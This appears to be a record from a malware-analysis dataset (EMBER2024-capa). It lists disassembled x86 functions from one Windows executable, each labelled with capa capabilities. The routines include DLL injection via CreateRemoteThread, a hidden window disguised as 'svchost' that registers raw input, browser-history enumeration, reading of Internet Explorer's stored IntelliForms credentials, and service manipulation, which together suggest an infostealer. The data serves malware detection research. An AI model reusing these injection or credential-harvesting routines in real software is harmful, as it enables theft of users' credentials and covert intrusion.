joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4051ca
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 3
jne 0x4051ec
xor al, al
jmp 0x40527e
cmp dword [ebp + 0x10], esi
je 0x4051e5
lea eax, [ebp - 4]
push eax
push 1
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4051e5
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call edi
test eax, eax
je 0x40522a
push dword [ebp - 4]
jmp 0x405251
mov eax, dword [ebp - 8]
cmp dword [ebx], eax
jb 0x40526c
cmp dword [ebp + 0x14], esi
je 0x40526c
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call edi
test eax, eax
push dword [ebp - 4]
je 0x40525d
mov dword [ebx], esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x40527d
mov eax, dword [ebp - 8]
mov dword [ebx], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x40527d
push dword [ebp - 4]
mov dword [ebx], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp + 0x14], esi
sete al
pop edi
pop esi
leave
ret 0x10

Function at 0x405283
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
mov dword [ebp - 4], esi
jne 0x405296
xor al, al
jmp 0x4052f1
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x405292
cmp dword [ebp + 0x18], esi
je 0x4052e6
cmp dword [ebp + 0x1c], esi
je 0x4052e6
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
push dword [ebp - 4]
je 0x4052e9
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x405292
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop esi
leave
ret 0x18
Function at 0x4052f6
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov dword [ebp - 8], edx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], edi
jne 0x405317
xor al, al
jmp 0x40540f
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x405310
push ebx
push dword [ebp - 4]
call fcn.004050f2
push dword [ebp + 8]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push dword [ebp - 8]
call ebx
test eax, eax
jne 0x40534b
mov al, 1
jmp 0x40540e
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x1c]
push eax
push edi
push edi
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x4053fc
cmp dword [ebp - 0x10], edi
je 0x4053ef
mov dword [ebp - 0xc], edi
jbe 0x4053ef
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x41c]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], 0xff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4053e3
push dword [ebp + 8]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x41cc0c
lea eax, [ebp - 0x21c]
push eax
call esi
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x21c]
push eax
call esi
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
push edi
lea eax, [ebp - 0x21c]
push eax
call fcn.004052f6
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jb 0x40537e
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x405400
xor al, al
jmp 0x40540e
push dword [ebp + 8]
push dword [ebp - 8]
call ebx
neg eax
sbb al, al
inc al
pop ebx
pop edi
leave
ret 8
Function at 0x405414
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x10], edx
push edx
mov dword [ebp - 0x14], ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x405571
push ebx
push esi
xor ebx, ebx
cmp byte [ebp + 0x10], bl
push edi
mov esi, 0x104
je 0x40549e
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x424]
push eax
mov dword [ebp - 8], ebx
push ebx
jmp 0x405492
push dword [ebp - 4]
lea eax, [ebp - 0x424]
push dword [ebp + 0x18]
push eax
push dword [ebp + 8]
call dword [ebp + 0x14]
add esp, 0x10
test al, al
je 0x40549e
inc dword [ebp - 8]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
call edi
test eax, eax
je 0x405463
cmp byte [ebp + 0xc], bl
je 0x405561
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
push esi
lea eax, [ebp - 0x424]
push eax
mov dword [ebp - 8], ebx
push ebx
jmp 0x405551
push 0x208
push dword [ebp + 8]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynW]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 0x102
jae 0x40550d
push 0x41cc0c
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push dword [ebp - 4]
lea eax, [ebp - 0x21c]
push dword [ebp + 0x18]
push ebx
push eax
call dword [ebp + 0x14]
add esp, 0x10
test al, al
je 0x405561
push dword [ebp + 0x18]
mov edx, dword [ebp - 0x10]
push dword [ebp + 0x14]
mov ecx, dword [ebp - 0x14]
push dword [ebp + 0x10]
lea eax, [ebp - 0x21c]
push dword [ebp + 0xc]
push eax
call fcn.00405414
inc dword [ebp - 8]
push esi
lea eax, [ebp - 0x424]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
call edi
test eax, eax
je 0x4054be
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov al, 1
pop ebx
jmp 0x405573
xor al, al
leave
ret 0x14
Function at 0x405577
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ebx, ebx
push edi
mov dword [esp + 0x10], ebx
mov edi, str.Global48C56927_A0DB_4e31_8C32_FE15FBA45043
push ebx
call dword [sym.imp.KERNEL32.DLL_SetLastError]
push edi
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexW]
mov dword [0x42c3ec], eax
call esi
cmp eax, 2
je 0x4055d7
mov eax, dword [0x42c3ec]
cmp eax, ebx
je 0x4055d7
inc dword [esp + 0x10]
push eax
call ebp
cmp dword [esp + 0x10], 3
jg 0x405603
push 0x1b58
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x405593
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [0x42c3ec], eax
call esi
cmp eax, 0xb7
je 0x405593
cmp eax, 5
je 0x405593
cmp dword [0x42c3ec], ebx
je 0x405593
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
xor al, al
jmp 0x4055fd

Function at 0x405628
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
cmp dword [ebp + 8], 0
push ebx
push esi
mov esi, eax
je 0x40564f
push 0x41cfa0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x40564f
call fcn.004026bb
call fcn.00405577
test al, al
je 0x405695
call fcn.00401f23
call fcn.00403337
call fcn.00404ead
mov ebx, esi
call fcn.004031a0
xor ebx, ebx
jmp 0x40568d
call fcn.00403269
mov ecx, esi
call fcn.004024fd
test al, al
jne 0x40569d
push 0x6ddd00
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp byte [esi + 0x4b4c], bl
je 0x405672
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.004026db
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x406389
Capabilities:
Register raw input devices

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 0x30
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x30]
push esi
push eax
call fcn.00410230
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], 0x4000
mov dword [ebp - 0x28], 0x406280
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call fcn.004023c2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x30]
mov edi, str.svchost
push eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov eax, dword [ebp + 8]
push esi
call fcn.004023c2
push eax
push esi
push esi
mov eax, 0x190
push eax
push eax
push esi
push esi
mov ebx, 0x2000000
push ebx
push str.hidden_window
push edi
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push ebx
mov edi, eax
push 0xfffffffffffffff0
push edi
call dword [sym.imp.USER32.dll_SetWindowLongW]
push esi
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xc
pop eax
call fcn.0040430a
cmp eax, esi
jne 0x406434
xor al, al
jmp 0x406456
push 0xc
push 1
push eax
mov word [eax], 1
mov word [eax + 2], 6
mov dword [eax + 4], 0x100
mov dword [eax + 8], edi
call dword [sym.imp.USER32.dll_RegisterRawInputDevices]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406561
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.00410230
push 0x10
lea eax, [ebp - 0x10]
push ebx
push eax
mov dword [ebp - 0x58], esi
call fcn.00410230
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x4065b0
xor al, al
pop esi
pop ebx
leave
ret
push dword [ebp - 8]
push ebx
push 0x43b
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, ebx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
jne 0x4065ea
push 0x5350574e
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov al, bl
jmp 0x4065ac
mov bl, 1
jmp 0x4065d6

Function at 0x4065ee
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0xffffffff
push ebx
push esi
push edi
je 0x40668c
xor edi, edi
cmp dword [ebp + 8], edi
je 0x40668c
cmp dword [ebp + 0x10], edi
je 0x40668c
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
push 4
push 0x1000
push dword [ebp + 8]
call esi
lea eax, [eax + eax + 2]
push eax
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov ebx, eax
cmp ebx, edi
je 0x40668c
push edi
push dword [ebp + 8]
call esi
add eax, eax
push eax
push dword [ebp + 8]
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x40668c
push edi
push edi
push ebx
push 0x41d10c
push 0x41d11c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
push edi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov esi, dword [ebp + 0x10]
push dword [ebp + 0xc]
mov dword [esi], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
cmp dword [esi], edi
setne al
jmp 0x40668e
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x407c80
Capabilities:
Enumerate browser history

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov esi, 0x42cba4
call fcn.00404413
mov eax, dword [0x42c408]
mov eax, dword [eax*4 + 0x424e80]
test eax, eax
je 0x407cb3
push eax
mov ecx, esi
call fcn.004045d8
inc dword [0x42c408]
jmp 0x407c93
lea eax, [ebp - 8]
push eax
push 0x41a4fc
push 1
push 0
push str._J7_
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x407d5f
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x1c]
test eax, eax
jne 0x407d56
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
jne 0x407d4d
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 0x34]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x407d4d
mov edi, dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x407d2b
call fcn.00402bf0
test eax, eax
je 0x407d26
push eax
mov ecx, esi
call fcn.004045d8
push dword [ebp - 0x30]
call edi
cmp dword [ebp - 0x2c], 0
je 0x407d36
push dword [ebp - 0x2c]
call edi
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
lea edx, [ebp - 0x34]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x407d0e
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408f1e
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push edi
push 0xf0000000
xor edi, edi
push 1
push edi
push edi
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x4090be
cmp dword [ebp - 0x10], edi
je 0x4090be
mov eax, dword [0x42cba8]
shr eax, 2
test eax, eax
push esi
mov dword [ebp - 0xc], edi
jle 0x409067
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [0x42cba4]
mov ecx, dword [ebp - 0xc]
mov esi, dword [eax + ecx*4]
cmp esi, edi
je 0x409052
lea eax, [ebp - 8]
push eax
push edi
push edi
push 0x8004
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x409052
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x409052
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x38]
push eax
push 2
push dword [ebp - 8]
mov dword [ebp - 0x14], 0x14
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x409049
mov eax, 0x84
call fcn.0040430a
mov edi, eax
mov dword [edi + 0x80], esi
xor esi, esi
mov word [edi], si
mov byte [ebp - 1], 0
mov al, byte [ebp + esi - 0x38]
add byte [ebp - 1], al
movzx eax, al
push eax
lea eax, [ebp - 0x24]
push str._2.2X
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
inc esi
cmp esi, 0x14
jl 0x408ff4
movzx eax, byte [ebp - 1]
push eax
lea eax, [ebp - 0x24]
push str._2.2X
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push edi
mov ecx, 0x42ca9c
call fcn.004045d8
xor edi, edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [0x42cba8]
inc dword [ebp - 0xc]
shr eax, 2
cmp dword [ebp - 0xc], eax
jl 0x408f6c
pop ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp + 8]
push ecx
push 0x408d62
push 1
push 1
push str.SOFTWAREMicrosoftInternet_ExplorerIntelliFormsStorage2
mov edx, SysReAllocString
call fcn.00405414
mov eax, dword [0x42caa0]
shr eax, 2
test eax, eax
jle 0x4090b3
mov eax, dword [0x42ca9c]
push dword [eax + edi*4]
call fcn.0040434c
mov eax, dword [0x42caa0]
inc edi
shr eax, 2
cmp edi, eax
jl 0x409099
mov esi, 0x42ca9c
call fcn.00404413
pop esi
pop edi
leave
ret
Function at 0x4098b7
Capabilities:
Modify service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
cmp edi, esi
jne 0x4098d5
xor eax, eax
jmp 0x4098f6
push ebx
push 0x14
push str.Schedule
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, eax
call edi
cmp ebx, esi
jne 0x4098fa
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x409910
push ebx
call edi
mov eax, esi
jmp 0x4098f5
cmp dword [ebp - 0x18], 4
jne 0x40991b
xor esi, esi
inc esi
jmp 0x409909
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x409916
jmp 0x409909
Function at 0x4146f3
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x422c10]
je 0x41470e
inc edi
cmp edi, 0x17
jb 0x4146ff
cmp edi, 0x17
jae 0x41488e
push ebp
push 3
call fcn.00417449
cmp eax, 1
pop ecx
je 0x41485a
push 3
call fcn.00417449
test eax, eax
pop ecx
jne 0x414742
cmp dword [0x422470], 1
je 0x41485a
cmp ebx, 0xfc
je 0x41488d
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x42b1a0
push ebp
call fcn.0041349a
add esp, 0xc
test eax, eax
je 0x414778
push esi
push esi
push esi
push esi
push esi
call fcn.00415faa
add esp, 0x14
push 0x104
mov esi, 0x42b1b9
push esi
push 0
mov byte [0x42b2bd], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x4147bc
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.0041349a
add esp, 0xc
test eax, eax
je 0x4147bc
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00415faa
add esp, 0x14
push esi
call fcn.00413620
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x414801
push esi
call fcn.00413620
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x42b4b4
push 0x41b924
sub ecx, eax
push ecx
push eax
call fcn.00416f66
add esp, 0x14
test eax, eax
je 0x414801
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00415faa
add esp, 0x14
jmp 0x414803
xor esi, esi
push 0x41b920
push ebx
push ebp
call fcn.00416eaf
add esp, 0xc
test eax, eax
je 0x414823
push esi
push esi
push esi
push esi
push esi
call fcn.00415faa
add esp, 0x14
push dword [edi*8 + 0x422c14]
push ebx
push ebp
call fcn.00416eaf
add esp, 0xc
test eax, eax
je 0x414845
push esi
push esi
push esi
push esi
push esi
call fcn.00415faa
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0041728c
add esp, 0xc
jmp 0x41488d
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x41488d
cmp ebp, 0xffffffff
je 0x41488d
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x422c14]
push dword [esi]
call fcn.00413620
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x416808
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422ee0]
jne 0x416812
repz ret
jmp fcn.00417504
Function at 0x41728c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00412895
xor ebx, ebx
cmp dword [0x42b794], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x417362
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x417442
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x417442
push eax
call fcn.00412827
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42b794], eax
call esi
push eax
call fcn.00412827
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42b798], eax
call esi
push eax
call fcn.00412827
mov dword [0x42b79c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00412f96
test eax, eax
pop ecx
pop ecx
je 0x417330
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00415faa
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x417362
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00412827
cmp eax, ebx
pop ecx
mov dword [0x42b7a4], eax
je 0x417362
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00412827
pop ecx
mov dword [0x42b7a0], eax
mov eax, dword [0x42b7a0]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4173e7
cmp dword [0x42b7a4], ecx
je 0x4173e7
push eax
call fcn.0041289e
push dword [0x42b7a4]
mov esi, eax
call fcn.0041289e
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4173e7
cmp edi, ebx
je 0x4173e7
call esi
cmp eax, ebx
je 0x4173b4
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4173b4
test byte [ebp - 0x18], 1
jne 0x4173e7
lea eax, [ebp - 0x10]
push eax
call fcn.00412fcd
test eax, eax
pop ecx
je 0x4173cf
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00415faa
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4173de
or dword [ebp + 0x10], 0x200000
jmp 0x417422
or dword [ebp + 0x10], 0x40000
jmp 0x417422
mov eax, dword [0x42b798]
cmp eax, dword [ebp - 8]
je 0x417422
push eax
call fcn.0041289e
cmp eax, ebx
pop ecx
je 0x417422
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x417422
mov eax, dword [0x42b79c]
cmp eax, dword [ebp - 8]
je 0x417422
push eax
call fcn.0041289e
cmp eax, ebx
pop ecx
je 0x417422
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42b794]
call fcn.0041289e
cmp eax, ebx
pop ecx
je 0x417442
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x417444
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret